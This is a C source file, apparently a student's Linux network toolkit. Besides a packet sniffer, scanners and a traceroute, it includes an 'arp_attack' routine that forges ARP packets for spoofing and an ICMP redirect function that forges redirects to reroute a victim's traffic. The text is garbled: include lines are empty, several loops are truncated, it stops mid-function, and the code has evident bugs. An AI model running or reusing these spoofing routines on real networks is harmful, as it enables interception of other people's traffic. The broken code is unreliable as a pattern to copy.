/*
作品名:linuxGL
作者:陈兴华
来自:广州
学校:THXY College
班别:网络042班
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define __FAVOR_BSD
#include
#ifdef __linux
#include
#include
#else
#include
#include
#include
#include
#endif
#define BUFSIZE 4096
#define PACKET_LEN 72
#define MAXSIZE 4096
#define OPTNUM 8
#define ON 1
#define OFF 0
enum{ETHER,ARP,IP,TCP,UDP,ICMP,DUMP,ALL};
enum{OPEN,CLOSE};
enum{CMD_NAME,CMD_SELECT,START_IP,LAST_IP};
enum{CMD_NAME1,CMD_SELECT2,DST_IP,START_PORT,LAST_PORT};
enum {CMD_NAME2,S3,TARGET_IP,OLD_ROUTER,NEW_ROUTER,DST_IP1 };
enum{CMD_NAME3,S4,DST_IP3};
enum{CMD_NAME5,IFNAME,DST_IP4,MAC_ADDR,OPTION};
enum{NORMAL,REPLY,REQUEST};
#ifndef _linux_
/*实现使用BPF作为访问数据链路层的手段
用于FreeBSD系统中*/
int open_bpf(char *ifname);
#endif
void make_icmp8_packet(struct icmp *icmp,int len,int n); /*ICMP头部*/
void make_udp_header( struct udphdr *udp); /*UDP头部*/
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen);
void make_ip_header2(struct ip *ip,int srcip, int dstip,int iplen); /*IP头部*/
void make_icmp5_header(struct icmp *icmp,u_int gw_ip);
void make_ethernet(struct ether_header *eth,u_char *ether_dhost, /* 以太帧头部*/
u_char *ether_shost,u_short ether_type);
void make_arp(struct ether_arp *arp,int op,u_char *arp_sha, /* ARP头部*/
u_char *arp_spa,u_char *arp_tha, u_char *arp_tpa);
u_short checksum(u_short *data,int len);
void tvsub(struct timeval *out,struct timeval *in); /*计算往返时间*/
void scan_host(int argc,char *argv[]); /*主机查找*/
void scan_port(int argc,char *argv[]); /*端口查找*/
void scan_uport(int argc,char *argv[]); /*UDP端口查找*/
void print_ethernet(struct ether_header *eth); /*打印以太数据*/
void print_arp(struct ether_arp *arp); /*打印ARP*/
void print_ip(struct ip *ip); /*打印IP数据*/
void print_icmp(struct icmp *icmp); /*打印ICMP数据*/
void print_tcp(struct tcphdr *tcp); /*打印TCP数据*/
void print_udp(struct udphdr *udp); /*打印UDP数据*/
void dump_packet(unsigned char *buff,int len); /*打印格式*/
void kill_serve(int argc, char *argv[]); /*关闭或开启服务*/
void on(int argc,char *argv[],char *server_save,FILE *tmp_s); /*开启服务*/
void off(int argc,char *argv[],char *server_save,FILE *tmp_s); /*关闭服务*/
char* yi_wei(char *server_save,int flag); /*关闭或开启服务中字符的移位*/
void redirect(int argc,char *argv[]); /*ICMP重定向*/
void scan_route(int argc,char *argv[]);/*查找路由*/
void m_arp(int argc,char *argv[]); /*ARP操作*/
char *mac_ntoa(u_char *d);/*将数组中存储的MAC地址变换为字符串*/
char *tcp_ftoa(int flag); /*将TCP报头的协议标志变换为字符串*/
char *ip_ttoa(int flag);/*将IP报头的TOS变为字符串*/
char *ip_ftoa(int flag);/*将IP报头的段位变换为字符串*/
struct packet_udp
{
struct ip ip;
struct udphdr udp;
};
int main(int argc,char **argv)
{
struct ether_header *eth;
struct ether_arp *arp;
struct ip *ip;
struct icmp *icmp;
struct tcphdr *tcp;
struct udphdr *udp;
int s;
int len;
int c;
int disp;
char buff[MAXSIZE];
char *p;
char *po;
char ifname[256]="x10";
int opt[OPTNUM];
extern int optind;
#ifndef _linux_
int bpf_len;
struct bpf_hdr *bp;
#endif
opt[ETHER]=OFF;
opt[ARP]=ON;
opt[IP]=ON;
opt[TCP]=ON;
opt[UDP]=ON;
opt[ICMP]=ON;
opt[DUMP]=OFF;
opt[ALL]=OFF;
while( (c=getopt(argc,argv,"mtruoskaei:p:dh"))!=EOF )
{
switch(c)
{
case 'k':
kill_serve(argc,argv);
break;
case 'm':
m_arp(argc,argv);
break;
case 't':
scan_route(argc,argv);
break;
case 'r':
redirect(argc,argv);
break;
case 'u':
scan_uport(argc,argv);
break;
case 'o':
scan_port(argc,argv);
break;
case 's':
scan_host(argc,argv);
break;
case 'a':
opt[ALL]=ON;
break;
case 'i':
strcpy(ifname,optarg);
break;
case 'e':
opt[ETHER]=ON;
break;
case 'd':
opt[DUMP]=ON;
break;
case 'p':
opt[ARP]=OFF;
opt[IP]=OFF;
opt[TCP]=OFF;
opt[UDP]=OFF;
opt[ICMP]=OFF;
optind--;
while(argv[optind]!=NULL && argv[optind][0]!='-')
{
if(strcmp(argv[optind],"arp")==0)
opt[ARP]=ON;
else if(strcmp(argv[optind],"ip")==0)
opt[IP]=ON;
else if(strcmp(argv[optind],"tcp")==0)
opt[TCP]=ON;
else if(strcmp(argv[optind],"udp")==0)
opt[UDP]=ON;
else if(strcmp(argv[optind],"icmp")==0)
opt[ICMP]=ON;
else if(strcmp(argv[optind],"other")==0)
;
else
{
exit(0);
}
optind++;
}
break;
default:
fprintf(stderr,"no argument my Master linuxcici");
exit(0);
break;
}
}
if(optind
{
while(optind printf("%s",argv[optind++]);
printf("\n");
fprintf(stderr,"no argument or wrong my Master linuxcici\n\n\n");
exit(0);
}
#ifdef __linux
if( (s=socket(AF_INET,SOCK_PACKET,htons(ETH_P_ALL)))<0 )
{
perror("socket");
exit(0);
}
if(strcmp(ifname,"x10")!=0)
{
struct sockaddr sa;
memset(&sa,0,sizeof(sa));
sa.sa_family=AF_INET;
strcpy(sa.sa_data,ifname);
if(bind(s,&sa,sizeof(sa))<0)
{
perror("bind");
exit(0);
}
}
#else
if((s=open_bpf(ifname))<0)
exit(0);
bpf_len=0;
#endif
while(1)
{
#ifndef __linux
if(bpf_len<=0)
{
if( (bpf_len=read(s,buff,MAXSIZE))<0 )
{
perror("read");
exit(0);
}
bp=(struct bpf_hdr *)buff;
}else
{
bp=(struct bpf hdr *)( (char *)bp+bp->bh_hdrlen+bp->bh_caplen);
bp=(struct bpf hdr *)BPF_WORDALIGN((int)bp);
}
p=po=(char *)bp+bp->bh_hdrlen;
len=bp->bh_datalen;
#ifdef DEBUG
printf("bpf_len=%d,",bpf_len);
printf("hdrlen=%d,",bp->hdrlen);
printf("caplen=%d,",bp->bh_caplen);
printf("datalen=%d\n",bp->bh_datalen);
#endif
bpf_len-=BPF_WORDLIGN(bp->bh_hdrlen+bp->bh_caplen);
#else
if((len=read(s,buff,MAXSIZE))<0)
{
perror("read");
exit(0);
}
p=buff; po=buff;
#endif
disp=OFF;
eth=(struct ether_header *)p;
p=p+sizeof(struct ether_header);
if(ntohs(eth->ether_type)==ETHERTYPE_ARP)
{
if(opt[ARP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
arp=(struct ether_arp *)p;
print_arp(arp);
disp=ON;
}
}else if (ntohs(eth->ether_type)==ETHERTYPE_IP)
{
ip=(struct ip *)p;
p=p+((int)(ip->ip_hl)<<2);
if(opt[IP]==ON && opt[TCP]==OFF &&opt[UDP]==OFF && opt[ICMP]==OFF)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
disp=ON;
}
switch(ip->ip_p)
{
case IPPROTO_TCP:
tcp=(struct tcphdr *)p;
# ifdef _FAVOR_BSD_
p=p+((int)(tcp->th_off)<<2);
#else
p=p+((int)(tcp->doff)<<2);
#endif
if(opt[TCP]==ON)
{
if(opt[IP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
}
print_tcp(tcp);
disp=ON;
}
break;
case IPPROTO_ICMP:
icmp=(struct icmp *)p;
p=p+sizeof(struct udphdr);
if(opt[ICMP]==ON)
{
if(opt[IP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
}
print_icmp(icmp);
disp=ON;
}
break;
default:
if(opt[ALL]==ON)
{
if(opt[IP]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
print_ip(ip);
}
printf("Protocol:unknow\n");
disp=ON;
}
break;
}
}
else
{
if(opt[ALL]==ON)
{
if(opt[ETHER]==ON)
print_ethernet(eth);
printf("protocol unknow\n");
disp=ON;
}
}
if(disp==ON)
{
if(opt[DUMP]==ON)
dump_packet(po,len);
printf("\n");
}
}
return EXIT_SUCCESS;
}
/***************************** arp_attack ************************************/
void m_arp(int argc,char *argv[])
{
struct ether_header *eth;
struct ether_arp *arp;
char recv_buff[4096];
char send_buff[4096];
int s;
int len;
char *rp;
char *rpo;
char *sp;
char mac_addr[6];
int tmp[6];
int i;
int flag;
#ifndef __linux
struct bpf_hdr *bp;
int bpf_len;
#else
struct sockaddr sa;
#endif
u_int dst_ip;
char ifname[256];
flag=NORMAL;
if(argc==5)
{
if(strcmp(argv[OPTION],"reply")==0)
flag=REPLY;
else if(strcmp(argv[OPTION],"request")==0)
flag=REQUEST;
else
{
exit(0);
}
}
else if (argc!=4)
{
exit(0);
}
strcpy(ifname,argv[IFNAME]);
dst_ip=inet_addr(argv[DST_IP4]);
if(sscanf(argv[MAC_ADDR],"%x:%x:%x:%x:%x:%x",&tmp[0],
&tmp[1],&tmp[1],&tmp[3],&tmp[4],&tmp[5])!=6)
{
printf("MAC address error %s\n",argv[MAC_ADDR]);
exit(0);
}
for(i=0;i<6;i++)
mac_addr[i]=tmp[i];
#ifdef __linux
if( (s=socket(PF_PACKET,SOCK_PACKET,htons(ETH_P_ALL)))<0 )
{
perror("socket");
exit(0);
}
memset(&sa,0,sizeof(sa));
sa.sa_family=PF_PACKET;
strcpy(sa.sa_data,ifname);
if(bind(s,&sa,sizeof(sa))<0)
{
perror("bind");
exit(0);
}
#else
if( (s=open_bpf(ifname))<0 )
exit(0);
bpf_len=0;
#endif
while(1)
{
#ifndef __linux
if(bpf_len<=0)
{
if( (bpf_len=read(s,recv_buff,4096))<0 )
{
perror("read");
exit(0);
}
bp=(struct bpf_hdr *)recv_buff;
}
else
{
bp=(struct bpf_hdr *)((char *)bp+bp->bh_hdrlen);
bp=(struct bpf_hdr *)BPF_WORDALIGH ((int)bp) ;
}
rp=rpo=(char *)bp+bp->bh_hdrlen;
len=bp->bh_caplen;
#ifdef DEBUG
printf("bpf_len=%d\n",bpf_len);
printf("hdrlen=%d\n",bp->bh_hdrlen);
printf("caplen=%d\n",bp->caplen);
printf("datalen=%d\n",bp->bh_datalen);
#endif
bpf_len-=BPF_WORDALIGN(bp->bh_hdrlen+bp->bh_caplen);
#else
if( (len=read(s,recv_buff,4096))<0 )
{
perror("read");
exit(0);
}
rp=rpo=recv_buff;
#endif
eth=(struct ether_header *)rp;
rp=rp+sizeof(struct ether_header);
if( memcmp(eth->ether_dhost,mac_addr,6)!=0
&& memcmp(eth->ether_shost,mac_addr,6)!=0
&& ntohs(eth->ether_type)==ETHERTYPE_ARP)
{
arp=(struct ether_arp *)rp;
if( dst_ip==*(int *)(arp->arp_spa))
{
static char zero[6];
static char one[6]={0xff,0xff,0xff,0xff,0xff,0xff};
printf("Hit............Linuxcici");
print_ethernet(eth);
print_arp(arp);
sp=send_buff+sizeof(struct ether_header);
if(flag==REPLY)
{
make_arp((struct ether_arp *)sp,ARPOP_REPLY,mac_addr,
arp->arp_tpa,arp->arp_sha,arp->arp_sha);
make_ethernet((struct ether_header *)send_buff,arp->arp_sha,
mac_addr,ETHERTYPE_ARP);
}
else if (flag==REQUEST)
{
make_arp((struct ether_arp *)sp,ARPOP_REQUEST,mac_addr,
arp->arp_spa,zero,arp->arp_tpa);
make_ethernet((struct ether_header *)send_buff,one,mac_addr,
ETHERTYPE_ARP);
}
else
{
make_arp((struct ether_arp *)sp,ARPOP_REQUEST,mac_addr,
arp->arp_tpa,zero,arp->arp_spa);
make_ethernet((struct ether_header *)send_buff,
arp->arp_sha,mac_addr,ETHERTYPE_ARP);
}
len=sizeof(struct ether_header)+sizeof(struct ether_arp);
usleep(500*1000);
#ifndef __linux
if(write(s,send_buff,len)<0)
{
perror("write");
exit(0);
}
#else
if(sendto(s,send_buff,len,0,&sa,sizeof(sa))<0)
{
perror("sendto");
exit(0);
}
#endif
printf("SEND---------------------my Master linuxcici");
print_ethernet((struct ether_header *)send_buff);
print_arp((struct ether_arp *)sp);
}
}
}
exit(1);
}
void make_ethernet(struct ether_header *eth,u_char *ether_dhost,
u_char *ether_shost,u_short ether_type)
{
memcpy(eth->ether_dhost,ether_dhost,6);
memcpy(eth->ether_shost,ether_shost,6);
eth->ether_type=htons(ether_type);
}
void make_arp(struct ether_arp *arp,int op,u_char *arp_sha,u_char *arp_spa,
u_char *arp_tha,u_char *arp_tpa)
{
arp->arp_hrd=htons(1);
arp->arp_pro=htons(ETHERTYPE_IP);
arp->arp_hln=6;
arp->arp_pln=4;
arp->arp_op=htons(op);
memcpy(arp->arp_sha,arp_sha,6);
memcpy(arp->arp_spa,arp_spa,4);
memcpy(arp->arp_tha,arp_tha,6);
memcpy(arp->arp_tpa,arp_tpa,4);
}
/***************************** arp_attack ************************************/
/***************************** scan_route ************************************/
void scan_route(int argc,char *argv[])
{
struct packet_udp sendpacket;
struct sockaddr_in send_sa;
int send_sd;
int recv_sd;
int len;
int ttl;
int i;
u_char buff[512];
struct timeval tvm0;
struct timeval tvm1;
struct timeval tv;
fd_set readfd;
int on=1;
int dns_flg=0;
if(argc==3 && strcmp(argv[1],"-n")==0)
{
dns_flg=1;
argv[1]=argv[2];
argv[2]=NULL;
argc=2;
}
if(argc!=2)
{
fprintf(stderr, "usage: %s [-n] dst_ip\n",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
memset( (char *)&send_sa,0,sizeof(struct sockaddr_in) );
send_sa.sin_family=AF_INET;
if( (send_sa.sin_addr.s_addr=inet_addr(argv[DST_IP3]))==INADDR_NONE )
{
struct hostent *he;
if( (he=gethostbyname(argv[DST_IP3]))==NULL )
{
fprintf(stderr,"unknow host %s\n",argv[DST_IP3]);
exit(EXIT_FAILURE);
}
send_sa.sin_family=he->h_addrtype;
memcpy( (char *)&(send_sa.sin_addr),he->h_addr,sizeof(he->h_length) );
}
if( (send_sd=socket(AF_INET, SOCK_RAW,IPPROTO_RAW))<0 )
{
perror("socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
if( setsockopt(send_sd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))<0 )
{
perror("setsockopt(IPPROTO_IP,IP_HDRINCL)");
exit(EXIT_FAILURE);
}
if( (recv_sd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0 )
{
perror("socket(SOCKET_RAW)");
exit(EXIT_FAILURE);
}
len=sizeof(struct packet_udp);
memset( (char *)&sendpacket,0,sizeof(struct packet_udp) );
make_udp_header(&(sendpacket.udp));
make_ip_header2(&(sendpacket.ip),0,send_sa.sin_addr.s_addr,len);
printf("scanroute %s\n",inet_ntoa(send_sa.sin_addr));
for(ttl=1;ttl<=64;ttl++)
{
printf("%2d:",ttl);
fflush(stdout);
sendpacket.ip.ip_ttl=ttl;
for(i=0;i<3;i++)
{
if(sendto(send_sd,(char *)&sendpacket,len,0,
(struct sockaddr *)&send_sa,sizeof (send_sa))<0)
{
perror("sendto");
exit(EXIT_FAILURE);
}
gettimeofday(&tvm0,(struct timezone *)0);
tv.tv_sec=3;
tv.tv_usec=0;
reread:
FD_ZERO(&readfd);
FD_SET(recv_sd,&readfd);
if( (select(recv_sd+1, &readfd,NULL,NULL,&tv))>0 )
{
int hlen;
struct icmp *icmp;
struct ip *ip;
struct hostent *host;
char hostip[256];
struct in_addr ipaddr;
if( recvfrom(recv_sd,buff,512,0,NULL,NULL)<0 )
{
perror("recvfrom");
exit(EXIT_FAILURE);
}
ip=(struct ip *)buff;
hlen=ip->ip_hl<<2;
if( ip->ip_p !=IPPROTO_ICMP)
goto reread;
icmp=(struct icmp *)(buff+hlen);
if( (icmp->icmp_type!=ICMP_TIMXCEED
|| icmp->icmp_code !=ICMP_TIMXCEED_INTRANS)
&& (icmp->icmp_type!=ICMP_UNREACH_PORT) )
goto reread;
gettimeofday(&tvm1,(struct timezone *)0);
tvsub(&tvm1,&tvm0);
memcpy(&ipaddr,&(ip->ip_src.s_addr),sizeof (ipaddr));
strcpy(hostip,inet_ntoa(* (struct in_addr *)&(ip->ip_src.s_addr)));
if(dns_flg==1)
printf("% -15s",hostip);
else if( (host=gethostbyaddr( ( char *)&ipaddr,4,AF_INET))==NULL )
printf(" % -15s(%s)",host,hostip);
else
printf("% -15s(%s)",hostip,host->h_name);
printf(": RTT= %8.4fms",tvm1.tv_sec * 1000.0 +tvm1.tv_usec/1000.0);
if(icmp->icmp_type==ICMP_UNREACH_PORT)
{
printf("Reach !\n ");
goto exit;
}
else
break;
}
else
{
printf("unknow\n");
fflush(stdout);
}
}
printf("\n");
}
exit:
close(send_sd);
close(recv_sd);
exit(1);
}
void make_ip_header2(struct ip *ip,int srcip,int dstip,int iplen)
{
memset( (char *)ip,0,sizeof(struct ip) );
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip) >> 2;
ip->ip_id=htons(0);
ip->ip_off=0;
#ifdef _linux_
ip->ip_len=htons(iplen);
ip->ip_off=htons(0);
#else
ip->ip_len=iplen;
ip->ip_off=0;
#endif
ip->ip_ttl=64;
ip->ip_p=IPPROTO_UDP;
ip->ip_src.s_addr=srcip;
ip->ip_dst.s_addr=dstip;
ip->ip_sum=0;
ip->ip_sum=checksum( (u_short *)ip,sizeof(struct ip) );
}
/***************************** scan_route ************************************/
/***************************** redirect ************************************/
void redirect(int argc,char *argv[])
{
struct sockaddr_in dest;
unsigned char buff[1500];
struct ip *ip_new;
struct ip *ip_old;
struct icmp *icmp;
struct udphdr *udp;
int s;
int size;
int on=1;
if(argc!=5)
{
fprintf(stderr,"usage %s targetd_host old_router new_router dst_ip\n",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
if(setsockopt(s,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))<0)
{
perror("setsockopt(IP_HDRINCL)");
exit(EXIT_FAILURE);
}
ip_new=(struct ip *)(buff);
icmp=(struct icmp *)(buff+20);
ip_old=(struct ip *)(buff+20+8);
udp=(struct udphdr *)(buff+20+8+20);
size=20+8+20+8;
make_udp_header(udp);
make_ip_header(ip_old,inet_addr(argv[TARGET_IP]),inet_addr(argv[DST_IP1]),
IPPROTO_UDP,100);
make_icmp5_header(icmp,inet_addr(argv[NEW_ROUTER]));
make_ip_header(ip_new,inet_addr(argv[OLD_ROUTER]),
inet_addr(argv[TARGET_IP]),IPPROTO_ICMP,size);
memset( (char *)&dest,0,sizeof(dest) );
dest.sin_family=AF_INET;
dest.sin_addr.s_addr=inet_addr(argv[TARGET_IP]);
if( sendto (s,buff,size,0,(struct sockaddr *)&dest,sizeof(dest))<0 )
{
perror("sendto");
exit(EXIT_FAILURE);
}
exit(1);
}
void make_udp_header(struct udphdr *udp)
{
#ifdef _FAVOR_BSD_
udp->uh_sport=htons(0);
udp->uh_ulen=htons( (u_short)sizeof(struct udphdr) );
udp->uh_dport=htons(33434);
udp->uh_sum=htons(0);
#else
udp->source=htons(0);
udp->len=htons( (u_short)sizeof(struct udphdr) );
udp->dest =htons(33434);
udp->check=htons(0);
#endif
}
void make_ip_header(struct ip *ip,int target_ip,int dst_ip,int proto,int iplen)
{
memset( (char *)ip,0,sizeof(struct ip) );
ip->ip_v=IPVERSION;
ip->ip_hl=sizeof(struct ip) >> 2;
ip->ip_id=htons(0);
ip->ip_off=0;
#ifdef _linux_
ip->ip_len=htons(iplen);
ip->ip_off=htons(IP_DF);
#else
ip->ip_len=iplen;
ip->ip_off=IP_DF;
#endif
ip->ip_ttl=2;
ip->ip_p=proto;
ip->ip_src.s_addr=target_ip;
ip->ip_dst.s_addr=dst_ip;
ip->ip_sum=0;
ip->ip_sum=checksum( (u_short *)ip,sizeof(struct ip) );
}
void make_icmp5_header( struct icmp *icmp,u_int gw_ip )
{
icmp->icmp_type=ICMP_REDIRECT;
icmp->icmp_code=ICMP_REDIRECT_HOST;
icmp->icmp_gwaddr.s_addr=gw_ip;
icmp->icmp_cksum=0;
icmp->icmp_cksum=checksum( (u_short *)icmp,8+20+8 );
}
/***************************** redirect ************************************/
/***************************** scan udp port ************************************/
void scan_uport(int argc,char *argv[])
{
printf("\n\n\nRunning scan udp port programe my master linuxcici\n\n\n");
getchar();
struct icmp *icmp;
fd_set select_fd;
struct sockaddr_in send_sa;
int send_sd,recv_sd;
char buff[8192];
int endport;
int startport;
int dstport;
struct timeval tv;
if(argc!=5)
{
fprintf(stderr,"usage:%s dst_ip start_ip last_port\n",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
send_sa.sin_family=AF_INET;
send_sa.sin_addr.s_addr=inet_addr(argv[DST_IP]);
startport=atoi(argv[START_PORT]);
endport=atoi(argv[LAST_PORT]);
if((send_sd=socket(AF_INET,SOCK_DGRAM,0))<0)
{
perror("socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
if((recv_sd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{
perror("socket(SOCKET_RAW)");
exit(EXIT_FAILURE);
}
for( dstport=startport;dstport<=endport;dstport++ )
{
printf("scan port%d\n",dstport);
fflush(stdout);
send_sa.sin_port=htons(dstport);
sendto(send_sd,NULL,0,0,(void *)&send_sa,sizeof(send_sa));
tv.tv_sec=1;
tv.tv_usec=0;
while(1)
{
FD_ZERO(&select_fd);
FD_SET(recv_sd,&select_fd);
if( select(recv_sd+1,&select_fd,NULL,NULL,&tv)<=0 )
break;
struct ip *ip;
int hlen;
int port;
if(recvfrom(recv_sd,buff,8192,0,NULL,NULL)!=56)
continue;
ip=(struct ip *)buff;
hlen=ip->ip_hl<<2;
icmp=(struct icmp *)(buff+hlen);
port=ntohs(*(u_short *)(buff+20+8+20+2));
if((ip->ip_src.s_addr!=send_sa.sin_addr.s_addr)
||(icmp->icmp_type!=ICMP_UNREACH)
||(icmp->icmp_code!=ICMP_UNREACH_PORT)
||(port!=dstport) )
continue;
else
{
struct servent *se;
se=getservbyport(htons(dstport),"udp");
printf("%5d %-20s\n",dstport,(se==NULL)? "unknow":se->s_name);
break;
}
}
}
printf("\n\n\n\nTHXY College\n");
printf("it's done my master Linuxcici\n\n\n");
exit(1);
}
/***************************** scan udp port ************************************/
/***************************** scan port ************************************/
void scan_port(int argc,char *argv[])
{
printf("\n\n\nRunning scan port programe my master linuxcici\n\n\n");
getchar();
struct icmp *icmp;
fd_set select_fd;
struct sockaddr_in send_sa;
int send_sd,recv_sd;
char buff[8192];
int endport;
int startport;
int dstport;
struct timeval tv;
if(argc!=5)
{
fprintf(stderr,"usage:%s dst_ip start_ip last_port\n",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
send_sa.sin_family=AF_INET;
send_sa.sin_addr.s_addr=inet_addr(argv[DST_IP]);
startport=atoi(argv[START_PORT]);
endport=atoi(argv[LAST_PORT]);
if((send_sd=socket(AF_INET,SOCK_DGRAM,0))<0)
{
perror("socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
if((recv_sd=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
{
perror("socket(SOCKET_RAW)");
exit(EXIT_FAILURE);
}
for( dstport=startport;dstport<=endport;dstport++ )
{
printf("scan port%d\n",dstport);
fflush(stdout);
send_sa.sin_port=htons(dstport);
sendto(send_sd,NULL,0,0,(void *)&send_sa,sizeof(send_sa));
tv.tv_sec=1;
tv.tv_usec=0;
while(1)
{
FD_ZERO(&select_fd);
FD_SET(recv_sd,&select_fd);
if( select(recv_sd+1,&select_fd,NULL,NULL,&tv)<=0 )
break;
struct ip *ip;
int hlen;
int port;
if(recvfrom(recv_sd,buff,8192,0,NULL,NULL)!=56)
continue;
ip=(struct ip *)buff;
hlen=ip->ip_hl<<2;
icmp=(struct icmp *)(buff+hlen);
port=ntohs(*(u_short *)(buff+20+8+20+2));
if((ip->ip_src.s_addr!=send_sa.sin_addr.s_addr)
||(icmp->icmp_type!=ICMP_UNREACH)
||(icmp->icmp_code!=ICMP_UNREACH_PORT)
||(port!=dstport) )
continue;
else
{
struct servent *se;
se=getservbyport(htons(dstport),"udp");
printf("%5d %-20s\n",dstport,(se==NULL)? "unknow":se->s_name);
break;
}
}
}
printf("\n\n\n\nTHXY College\n");
printf("it's done my master Linuxcici\n\n\n");
exit(1);
}
/***************************** scan port ************************************/
/******************************** scan host ***********************************/
void scan_host(int argc,char *argv[])
{
printf("\n\n\nRunning scan host programe my master linuxcici\n\n\n");
getchar();
struct sockaddr_in send_sa;
int s;
char send_buff[PACKET_LEN];
char recv_buff[BUFSIZE];
int startip;
int endip;
int dstip;
struct timeval tv;
int i;
fd_set readfd;
struct ip *ip;
int hlen;
if(argc!=4)
{
fprintf(stderr,"usage %s start_ip last_ip\n",argv[CMD_NAME]);
exit(EXIT_FAILURE);
}
startip=ntohl(inet_addr(argv[START_IP]));
endip=ntohl(inet_addr(argv[LAST_IP]));
memset( (char *)&send_sa,0,sizeof(struct sockaddr_in) );
send_sa.sin_family=AF_INET;
if( (s=socket(AF_INET,SOCK_RAW,IPPROTO_ICMP) )<0)
{
perror("socket(SOCK_RAW,IPPRPTO_ICMP)");
exit(EXIT_FAILURE);
}
for(dstip=startip;dstip<=endip;dstip++)
{
send_sa.sin_addr.s_addr=htonl(dstip);
for(i=0;i<3;i++)
{
printf("scan %s(%d)\r",inet_ntoa(send_sa.sin_addr),i+1);
fflush(stdout);
make_icmp8_packet((struct icmp *)send_buff,PACKET_LEN,i);
if( sendto(s,(char *)&send_buff,PACKET_LEN,0,
(struct sockaddr *)&send_sa,sizeof(send_sa))<0 )
{
perror("sendto");
exit(EXIT_FAILURE);
}
tv.tv_sec=0;
tv.tv_usec=200*1000;
while(1)
{
FD_ZERO(&readfd);
FD_SET(s,&readfd);
if( (select(s+1,&readfd,NULL,NULL,&tv) ) <=0 )
break;
if( recvfrom(s,recv_buff,BUFSIZE,0,NULL,NULL)<0 )
{
perror("recvfrom");
exit(EXIT_FAILURE);
}
ip=(struct ip*)recv_buff;
hlen=ip->ip_hl<<2;
if(ip->ip_src.s_addr==send_sa.sin_addr.s_addr)
{
struct icmp *icmp;
icmp=(struct icmp *)(recv_buff+hlen);
if(icmp->icmp_type==ICMP_ECHOREPLY)
{
printf(" %-15s",inet_ntoa(*(struct in_addr *)&(ip->ip_src.s_addr)));
gettimeofday(&tv,(struct timezone *)0);
tvsub(&tv,(struct timeval *)(icmp->icmp_data));
printf(": RTT=%8.4fms\n",tv.tv_sec*1000.0+tv.tv_usec/1000.0);
goto exit_loop;
}
}
}
}
exit_loop: ;
}
close(s);
printf("\n\n\n\nTHXY College\n");
printf("it's done my master Linuxcici\n\n\n");
exit(1);
}
/******************************** scan host ***********************************/
/******************************** kill server ***********************************/
char* yi_wei(char *server_save,int flag)
{
int i;
char *r_w,*p;
r_w=(char *)malloc(100* sizeof(char));
if(flag==1)
{
*(r_w)='#';
for(i=0;*(server_save+i)!='\0'&&*(server_save+i)!='\n';i++)
*(r_w+i+1)=*(server_save+i);
*(r_w+i+1)='\n';
*(r_w+i+2)='\0';
}
else
{
for(i=0;*(server_save+i)!='\0'&&*(server_save+i)!='\n';i++)
{
if( *(server_save+i+1)=='\0')break;
*(r_w+i)=*(server_save+i+1);
*(r_w+i+1)='\0';
}
}
memset(server_save,' ',100);
strcpy(server_save,r_w);
free(r_w);
return server_save;
}
void off(int argc,char *argv[],char *server_save,FILE *tmp_s)
{
char *p,*f_s;
int i=0,count=0;
for(;*(argv[3]+i)!='\0';i++ )
{
if( *(argv[3]+i)==*(server_save+i) )
count++;
}
if(i==count)
{
f_s=yi_wei(server_save,1);
int i=0;
i=0;
while( *(server_save+i)!='\0')
{
fputc(*(server_save+i),tmp_s);
i++;
}
}
else
{
int b=0;
while( *(server_save+b)!='\0')
{
fputc(*(server_save+b),tmp_s);
b++;
}
}
}
void on(int argc,char *argv[],char *server_save,FILE *tmp_s)
{
char *p,*f_s;
int i=0,count=0;
for(;*(argv[3]+i)!='\0';i++ )
{
if( (*(argv[3]+i)==*(server_save+i+1) )&& *(server_save)=='#')
count++;
}
if(i==count)
{
f_s=yi_wei(server_save,0);
int i=0;
i=0;
while( *(server_save+i)!='\0')
{
fputc(*(server_save+i),tmp_s);
i++;
}
}
else
{
int b=0;
while( *(server_save+b)!='\0')
{
fputc(*(server_save+b),tmp_s);
b++;
}
}
}
void kill_serve(int argc, char *argv[])
{
char server_save[100];
char *server_name="/etc/services";
char *tmp_name="/etc/tmp_linux";
int server_state;
FILE *server_file,*tmp_s;
int i;
if(argc<4)
{
printf("\nusage: the wrong argument open/close+servername\n");
exit(0);
}
if((server_file=fopen(server_name,"r+"))==NULL)
{
perror("can't not open server process");
exit(0);
}
if((tmp_s=fopen(tmp_name,"w+"))==NULL)
{
perror("can't not open server process");
exit(0);
}
fseek(server_file,0,SEEK_SET);
if( strcmp("OPEN",argv[2])==0)
{
server_state=OPEN;
}
else if
( strcmp("CLOSE",argv[2])==0)
{
server_state=CLOSE;
}
else
{
printf("usage : it's not open or close\n");
exit(0);
}
while(( fgets(server_save,100,server_file) ))
{
if(server_state==OPEN)
on(argc,argv,server_save,tmp_s);
if(server_state==CLOSE)
off(argc,argv,server_save,tmp_s);
memset(server_save,' ',100);
}
if(unlink("/etc/services")<0)
{
perror("unlink failure");
exit(0);
}
if( chdir("/etc")<0)
{
perror("can't chdir");
exit(0);
}
if(rename("/etc/tmp_linux","/etc/services")<0)
{
perror("rename failure");
exit(0);
}
printf("THXY College\n");
printf("\nnmy Master linuxcici, it's done <(A_A)>\n\n");
fclose(server_file);
fclose(tmp_s);
exit(1);
}
/******************************** kill server **********************************/
void dump_packet(unsigned char *buff,int len)
{
int i,j;
printf("FrameDump:\n");
for(i=0;i {
for(j=i;j {
printf("%02x",buff[j]);
if(j%2==1)printf(" ");
